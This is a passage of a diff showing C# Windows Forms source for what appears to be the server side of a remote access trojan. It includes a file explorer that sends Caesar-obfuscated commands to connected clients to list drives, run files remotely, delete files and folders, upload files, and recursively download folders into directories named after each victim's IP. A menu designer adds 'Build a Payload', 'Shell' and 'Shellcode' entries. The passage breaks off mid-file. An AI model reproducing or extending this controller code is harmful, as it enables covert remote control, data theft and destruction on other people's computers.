||||||
|
string receivedData = "";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
byte[] buffer = new byte[256 * 4096];
|
||||||
|
int bytesRead;
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
if (receivedData == "")
|
||||||
|
return;
|
||||||
|
receivedData = Utils.CAESAR_DECRYPT(receivedData);
|
||||||
|
string[] files = receivedData.Split('/');
|
||||||
|
int idx = dataGridView2.Rows.Add("");
|
||||||
|
dataGridView2.Rows[idx].Tag = "../.";
|
||||||
|
foreach (string f in files)
|
||||||
|
{
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + f));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
buffer = new byte[1];
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
if (receivedData == "")
|
||||||
|
return;
|
||||||
|
|
||||||
|
idx = dataGridView2.Rows.Add("");
|
||||||
|
dataGridView2.Rows[idx].Tag = f;
|
||||||
|
if (receivedData == "d")
|
||||||
|
{
|
||||||
|
dataGridView2.Rows[idx].Tag += "/d";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dataGridView2.Rows[idx].Tag += "/f";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
} catch
|
||||||
|
{
|
||||||
|
CLIENT_ID = -1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
dataGridView2.ClearSelection();
|
||||||
|
dataGridView2.Update();
|
||||||
|
}
|
||||||
|
private void FileExplorer_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
OPENED = true;
|
||||||
|
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||||
|
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
|
||||||
|
string receivedData = "";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_drives"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int bytesRead;
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
} catch
|
||||||
|
{
|
||||||
|
CLIENT_ID = -1;
|
||||||
|
OPENED = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
foreach (char l in receivedData)
|
||||||
|
{
|
||||||
|
comboBox1.Items.Add(l);
|
||||||
|
}
|
||||||
|
comboBox1.SelectedIndex = 0;
|
||||||
|
PATH = comboBox1.Text + ":/";
|
||||||
|
textBox1.Text = PATH;
|
||||||
|
|
||||||
|
dataGridView2.ClearSelection();
|
||||||
|
|
||||||
|
GetFileList();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void dataGridView2_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0)
|
||||||
|
{
|
||||||
|
dataGridView2.CurrentCell = dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex];
|
||||||
|
ITEM_ID = dataGridView2.CurrentRow.Index;
|
||||||
|
|
||||||
|
contextMenuStrip1.Show(Cursor.Position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
PATH = comboBox1.Text + ":/";
|
||||||
|
textBox1.Text = PATH;
|
||||||
|
GetFileList();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void button1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
GetFileList();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void dataGridView2_CellDoubleClick(object sender, DataGridViewCellEventArgs e)
|
||||||
|
{
|
||||||
|
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||||
|
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||||
|
|
||||||
|
if (file == ".." && PATH.Length != 3)
|
||||||
|
{
|
||||||
|
PATH = PATH.Remove(PATH.LastIndexOf('/', PATH.Length - 2) + 1);
|
||||||
|
}
|
||||||
|
else if (type != "d")
|
||||||
|
return;
|
||||||
|
else if (file != "..")
|
||||||
|
{
|
||||||
|
PATH += file + "/";
|
||||||
|
}
|
||||||
|
textBox1.Text = PATH;
|
||||||
|
GetFileList();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void executeToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||||
|
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||||
|
return;
|
||||||
|
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("execute"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
CLIENT_ID = -1;
|
||||||
|
OPENED = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void dataGridView2_CellPainting(object sender, DataGridViewCellPaintingEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.ColumnIndex == 0 && e.RowIndex >= 0)
|
||||||
|
{
|
||||||
|
e.Paint(e.CellBounds, DataGridViewPaintParts.All);
|
||||||
|
|
||||||
|
string tmp = dataGridView2.Rows[e.RowIndex].Tag?.ToString();
|
||||||
|
if (tmp == null)
|
||||||
|
return;
|
||||||
|
string type = tmp.Split('/').Last();
|
||||||
|
var isDirectory = type == "d";
|
||||||
|
var icon = isDirectory ? Properties.Resources.folder : Properties.Resources.file;
|
||||||
|
if (type == ".")
|
||||||
|
icon = Properties.Resources.up_arrow;
|
||||||
|
|
||||||
|
int iconWidth = 16;
|
||||||
|
int iconHeight = 16;
|
||||||
|
int iconX = e.CellBounds.Left + 3;
|
||||||
|
int iconY = e.CellBounds.Top + (e.CellBounds.Height - iconHeight) / 2;
|
||||||
|
e.Graphics.DrawImage(icon, new Rectangle(iconX, iconY, iconWidth, iconHeight));
|
||||||
|
|
||||||
|
var text = tmp.Split('/').First();
|
||||||
|
var textX = iconX + iconWidth + 5;
|
||||||
|
var textY = e.CellBounds.Top + (e.CellBounds.Height - e.CellStyle.Font.Height) / 2;
|
||||||
|
e.Graphics.DrawString(text, e.CellStyle.Font, Brushes.Black, textX, textY);
|
||||||
|
|
||||||
|
e.Handled = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void textBox1_KeyDown(object sender, KeyEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.KeyCode == Keys.Enter)
|
||||||
|
{
|
||||||
|
e.SuppressKeyPress = true; // Prevent the beep sound on Enter key
|
||||||
|
PATH = textBox1.Text;
|
||||||
|
if (PATH.Last() != '/')
|
||||||
|
PATH += '/';
|
||||||
|
textBox1.Text = PATH;
|
||||||
|
textBox1.SelectionStart = textBox1.TextLength;
|
||||||
|
GetFileList();
|
||||||
|
e.Handled = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)
|
||||||
|
{
|
||||||
|
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||||
|
|
||||||
|
executeToolStripMenuItem.Visible = type != "d";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e)
|
||||||
|
{
|
||||||
|
OPENED = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||||
|
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||||
|
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||||
|
return;
|
||||||
|
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
byte[] Message = new byte[20];
|
||||||
|
if (type == "d")
|
||||||
|
{
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_dir"));
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_file"));
|
||||||
|
}
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
CLIENT_ID = -1;
|
||||||
|
OPENED = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
||||||
|
{
|
||||||
|
Title = "Select your file"
|
||||||
|
};
|
||||||
|
|
||||||
|
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||||
|
return;
|
||||||
|
|
||||||
|
string filePath = openFileDialog.FileName;
|
||||||
|
string fileNameWithExtension = Path.GetFileName(filePath);
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||||
|
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||||
|
return;
|
||||||
|
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("upload_file"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + fileNameWithExtension));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
byte[] fileContent = File.ReadAllBytes(filePath);
|
||||||
|
stream.Write(fileContent, 0, fileContent.Length);
|
||||||
|
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
CLIENT_ID = -1;
|
||||||
|
OPENED = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void DownloadFile(string file, NetworkStream stream, TcpClient c)
|
||||||
|
{
|
||||||
|
Thread.Sleep(100);
|
||||||
|
Shell.ClearSocketData(c);
|
||||||
|
|
||||||
|
byte[] Message = new byte[4096];
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("download_file"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0];
|
||||||
|
if (!Directory.Exists(foldername))
|
||||||
|
Directory.CreateDirectory(foldername);
|
||||||
|
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(file));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
byte[] delimiter = Encoding.UTF8.GetBytes("<Laika:EOF>");
|
||||||
|
int delimiterLength = delimiter.Length;
|
||||||
|
List<byte> receivedBytes = new List<byte>();
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int bytesRead;
|
||||||
|
|
||||||
|
using (FileStream fileStream = new FileStream(foldername + "/" + file.Replace(PATH, ""), FileMode.Create, FileAccess.Write))
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
if (bytesRead == 0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
receivedBytes.AddRange(buffer.Take(bytesRead));
|
||||||
|
|
||||||
|
while (receivedBytes.Count >= delimiterLength)
|
||||||
|
{
|
||||||
|
int endIndex = receivedBytes.Count - delimiterLength;
|
||||||
|
if (receivedBytes.Skip(endIndex).Take(delimiterLength).SequenceEqual(delimiter))
|
||||||
|
{
|
||||||
|
fileStream.Write(receivedBytes.ToArray(), 0, endIndex);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fileStream.WriteByte(receivedBytes[0]);
|
||||||
|
receivedBytes.RemoveAt(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (receivedBytes.Count > 0)
|
||||||
|
{
|
||||||
|
fileStream.Write(receivedBytes.ToArray(), 0, receivedBytes.Count);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void DownloadFolder(string folder, string path, NetworkStream stream, TcpClient c)
|
||||||
|
{
|
||||||
|
if (!Directory.Exists(path))
|
||||||
|
Directory.CreateDirectory(path);
|
||||||
|
|
||||||
|
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
byte[] buffer = new byte[256 * 4096];
|
||||||
|
int bytesRead;
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
if (receivedData == "")
|
||||||
|
return;
|
||||||
|
receivedData = Utils.CAESAR_DECRYPT(receivedData);
|
||||||
|
foreach (string e in receivedData.Split('/'))
|
||||||
|
{
|
||||||
|
Thread.Sleep(100);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/" + e));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
string infos = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
if (infos.Split('/')[0] == "f")
|
||||||
|
{
|
||||||
|
DownloadFile(folder + "/" + e, stream, c);
|
||||||
|
continue;
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
DownloadFolder(folder + "/" + e, path + "/" + e, stream, c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First();
|
||||||
|
string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||||
|
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||||
|
return;
|
||||||
|
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
if (type == "d")
|
||||||
|
{
|
||||||
|
string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0];
|
||||||
|
if (!Directory.Exists(foldername))
|
||||||
|
Directory.CreateDirectory(foldername);
|
||||||
|
DownloadFolder(PATH + file, foldername + "/" + file, stream, c);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
DownloadFile(PATH + file, stream, c);
|
||||||
|
}
|
||||||
|
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
CLIENT_ID = -1;
|
||||||
|
OPENED = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
123
Server/FileExplorer.resx
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>17, 17</value>
|
||||||
|
</metadata>
|
||||||
|
</root>
|
||||||
234
Server/Menu.Designer.cs
generated
Normal file
@@ -0,0 +1,234 @@
|
|||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
partial class Menu
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Variable nécessaire au concepteur.
|
||||||
|
/// </summary>
|
||||||
|
private System.ComponentModel.IContainer components = null;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Nettoyage des ressources utilisées.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing">true si les ressources managées doivent être supprimées ; sinon, false.</param>
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && (components != null))
|
||||||
|
{
|
||||||
|
components.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
#region Code généré par le Concepteur Windows Form
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Méthode requise pour la prise en charge du concepteur - ne modifiez pas
|
||||||
|
/// le contenu de cette méthode avec l'éditeur de code.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.components = new System.ComponentModel.Container();
|
||||||
|
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
|
||||||
|
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
|
||||||
|
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
|
||||||
|
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
|
||||||
|
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.payloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.buildAPayloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.dataGridView1 = new System.Windows.Forms.DataGridView();
|
||||||
|
this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn();
|
||||||
|
this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn();
|
||||||
|
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
|
this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.menuStrip1.SuspendLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
|
||||||
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// menuStrip1
|
||||||
|
//
|
||||||
|
this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu;
|
||||||
|
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.toolStripMenuItem1,
|
||||||
|
this.payloadToolStripMenuItem});
|
||||||
|
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
|
||||||
|
this.menuStrip1.Name = "menuStrip1";
|
||||||
|
this.menuStrip1.Size = new System.Drawing.Size(591, 24);
|
||||||
|
this.menuStrip1.TabIndex = 0;
|
||||||
|
this.menuStrip1.Text = "menuStrip1";
|
||||||
|
//
|
||||||
|
// toolStripMenuItem1
|
||||||
|
//
|
||||||
|
this.toolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.exitToolStripMenuItem});
|
||||||
|
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
|
||||||
|
this.toolStripMenuItem1.Size = new System.Drawing.Size(37, 20);
|
||||||
|
this.toolStripMenuItem1.Text = "File";
|
||||||
|
this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
|
||||||
|
//
|
||||||
|
// exitToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";
|
||||||
|
this.exitToolStripMenuItem.Size = new System.Drawing.Size(93, 22);
|
||||||
|
this.exitToolStripMenuItem.Text = "Exit";
|
||||||
|
this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// payloadToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.payloadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.buildAPayloadToolStripMenuItem});
|
||||||
|
this.payloadToolStripMenuItem.Name = "payloadToolStripMenuItem";
|
||||||
|
this.payloadToolStripMenuItem.Size = new System.Drawing.Size(61, 20);
|
||||||
|
this.payloadToolStripMenuItem.Text = "Payload";
|
||||||
|
//
|
||||||
|
// buildAPayloadToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.buildAPayloadToolStripMenuItem.Name = "buildAPayloadToolStripMenuItem";
|
||||||
|
